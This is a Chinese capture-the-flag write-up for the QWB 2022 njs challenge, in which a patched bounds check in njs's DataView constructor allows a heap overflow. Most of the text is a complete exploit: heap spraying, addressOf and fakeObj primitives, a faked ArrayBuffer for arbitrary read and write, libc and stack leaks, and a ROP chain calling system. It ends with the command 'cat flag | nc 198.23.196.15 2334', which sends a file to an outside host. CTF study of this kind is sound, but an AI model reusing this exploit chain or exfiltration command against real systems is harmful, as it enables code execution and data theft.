0%

qwb2022_njs

这是一个不错的题,非常适合学习js引擎的漏洞利用方法。
题目给了patch如下

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/njs/src/njs_typed_array.c b/njs1/src/njs_typed_array.c
index 9242159..bc9d10b 100644
--- a/njs/src/njs_typed_array.c
+++ b/njs1/src/njs_typed_array.c
@@ -2588,7 +2588,7 @@ njs_data_view_constructor(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,
return NJS_ERROR;
}

- if (njs_slow_path((offset + size) > buffer->size)) {
+ if (njs_slow_path((offset + size) > buffer->size + 0x29)) {
njs_range_error(vm, "Invalid DataView length: %uL", size);
return NJS_ERROR;
}

很明显,这是制造了一个溢出漏洞,可以通过如下代码构造溢出

1
var d = new DataView(new ArrayBuffer(0x38),0,0x61);

通过调试,我们可以发现,通过DataView对ArrayBuffer进行溢出,可以溢出到下一个对象的__proto__属性,在内存中,它是一个指针,指向了对应的__proto__对象,如果我们将该指针覆盖指向可控位置,然后再通过var o = obj.__proto就可以获得伪造的js对象。同理,我们对obj.__protp__进行赋值为某个对象,然后通过溢出读取指针,就能知道对象的对象。因此,我们能够实现fakeObject和addressOf原语,有了这个,直接伪造一个ArrayBuffer对象进行任意地址读写。

1
2
3
4
5
6
7
8
9
10
function addressOf(obj) {
evil_after.__proto__ = obj;
return [arrs[evil_idx].getUint32(0x50,true),arrs[evil_idx].getUint32(0x54,true)];
}

function fakeObj(addr_low,addr_high) {
arrs[evil_idx].setUint32(0x50,addr_low,true);
arrs[evil_idx].setUint32(0x54,addr_high,true);
return evil_after.__proto__;
}

我们使用了堆喷射(Heap Spray),即最开始构造了N个对象,然后通过溢出覆盖__proto__,再遍历这些对象,查看它们的__proto__是否被改变,从而,我们能够确定具体是哪个对象被溢出到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var arrs = Array(0x100);

for (var i=0;i<0x100;i++) {
arrs[i] = new DataView(new ArrayBuffer(0x38),0,0x61);
for (var j=0;j<0x38;j++) {
arrs[i].setUint8(j,i + 1);
}
}

var evil_idx = 80;

var arraybuf_proto = arrs[evil_idx].getFloat64(0x50,true);
//确定evil前方是哪个buffer
var obj = [1.1,2.2]
var evil_after;
for (var i=0;i<0x100;i++) {
var tmp_proto = arrs[i].buffer.__proto__;
arrs[i].buffer.__proto__ = obj
if (arrs[evil_idx].getFloat64(0x50,true) != arraybuf_proto) {
evil_after = arrs[i].buffer;
print("found evil after at idx:" + i);
break;
}
arrs[i].buffer.__proto__ = tmp_proto;
}

具体的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
var arrs = Array(0x100);

for (var i=0;i<0x100;i++) {
arrs[i] = new DataView(new ArrayBuffer(0x38),0,0x61);
for (var j=0;j<0x38;j++) {
arrs[i].setUint8(j,i + 1);
}
}

var evil_idx = 80;

var arraybuf_proto = arrs[evil_idx].getFloat64(0x50,true);
//确定evil前方是哪个buffer
var obj = [1.1,2.2]
var evil_after;
for (var i=0;i<0x100;i++) {
var tmp_proto = arrs[i].buffer.__proto__;
arrs[i].buffer.__proto__ = obj
if (arrs[evil_idx].getFloat64(0x50,true) != arraybuf_proto) {
evil_after = arrs[i].buffer;
print("found evil after at idx:" + i);
break;
}
arrs[i].buffer.__proto__ = tmp_proto;
}



function addressOf(obj) {
evil_after.__proto__ = obj;
return [arrs[evil_idx].getUint32(0x50,true),arrs[evil_idx].getUint32(0x54,true)];
}

function fakeObj(addr_low,addr_high) {
arrs[evil_idx].setUint32(0x50,addr_low,true);
arrs[evil_idx].setUint32(0x54,addr_high,true);
return evil_after.__proto__;
}

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}

function u64f(value) {
dv.setFloat64(0,value,true);
return [dv.getUint32(0,true),dv.getUint32(4,true)];
}


var buffer_proto = addressOf(buf.__proto__);
var zero = p64f(0,0);

var fakeObj_buf = new Float64Array(8);
fakeObj_buf[0] = zero;
fakeObj_buf[1] = zero;
fakeObj_buf[2] = p64f(buffer_proto[0],buffer_proto[1]);
fakeObj_buf[3] = zero;
fakeObj_buf[4] = p64f(0x00010018,0);
fakeObj_buf[5] = p64f(0x1000,0);
fakeObj_buf[6] = p64f(0x12,0x34);


var func_addr = addressOf(fakeObj);
var buf_addr = addressOf(buf);

var f = addressOf(fakeObj_buf.buffer);
var fake_obj_addr_low = f[0] + 0x40;
print("func_addr=0x" + func_addr[1].toString(16) + func_addr[0].toString(16));
print("buf_addr=0x" + buf_addr[1].toString(16) + buf_addr[0].toString(16));
print("f=0x" + f[1].toString(16) + f[0].toString(16));
print("fakeObj_addr=0x" + f[1].toString(16) + fake_obj_addr_low.toString(16));

var arb_arraybuffer = fakeObj(fake_obj_addr_low,f[1]);
var arb_dv = new DataView(arb_arraybuffer);

function read64(addr_l,addr_h) {
fakeObj_buf[6] = p64f(addr_l,addr_h);
return u64f(arb_dv.getFloat64(0,true));
}

function write64(addr_l,addr_h,value) {
fakeObj_buf[6] = p64f(addr_l,addr_h);
arb_dv.setFloat64(0,value,true);
}

function writeb(addr_l,addr_h,value) {
fakeObj_buf[6] = p64f(addr_l,addr_h);
arb_dv.setUint8(0,value);
}

print(arb_dv.byteLength);
var tmp = read64(func_addr[0] + 0x10,func_addr[1]);
print("tmp_addr=0x" + tmp[1].toString(16) + tmp[0].toString(16));
var elf_addr = read64(tmp[0] + 0x30,tmp[1]);
var elf_base = elf_addr[0] - 0x37f80;
var write_got = elf_base + 0xC4B38;
var libc_addr = read64(write_got,elf_addr[1]);
var libc_base = libc_addr[0] - 0x10e060;
var environ_addr = libc_base + 0x1EF600;
var stack_addr = read64(environ_addr,libc_addr[1]);
var rop_addr = stack_addr[0] - 0x108;
var system_addr = libc_base + 0x52290;
var pop_rdi = libc_base + 0x248f2;
var binsh_addr = libc_base + 0x1B45BD;
print("elf_base=0x" + elf_addr[1].toString(16) + elf_base.toString(16));
print("libc_base=0x" + libc_addr[1].toString(16) + libc_base.toString(16));
print("stack_addr=0x" + stack_addr[1].toString(16) + stack_addr[0].toString(16));
write64(rop_addr,stack_addr[1],p64f(pop_rdi,libc_addr[1]));
write64(rop_addr + 8,stack_addr[1],p64f(rop_addr + 32,stack_addr[1]));
write64(rop_addr + 24,stack_addr[1],p64f(system_addr,libc_addr[1]));
var cmd = "cat flag | nc 198.23.196.15 2334\x00";
for (var i=0;i<cmd.length;i++) {
writeb(rop_addr + 32 + i,stack_addr[1],cmd.charCodeAt(i));
}